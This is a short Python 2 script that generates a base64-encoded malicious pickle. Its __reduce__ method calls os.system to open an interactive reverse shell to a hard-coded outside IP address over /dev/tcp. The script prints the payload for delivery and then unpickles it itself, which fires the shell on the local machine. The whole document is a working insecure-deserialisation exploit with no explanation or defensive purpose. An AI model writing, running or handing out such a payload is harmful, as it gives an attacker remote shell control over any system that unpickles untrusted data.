#!/usr/bin/env python2

import pickle
import base64
import subprocess
import os

class RunNc(object):
    def __reduce__(self):
        return (os.system, 
                (("sh -i >& /dev/tcp/54.186.29.72/80 0>&1"),))

x = base64.b64encode(pickle.dumps(RunNc()))
print(x)
z = pickle.loads(base64.b64decode(x))
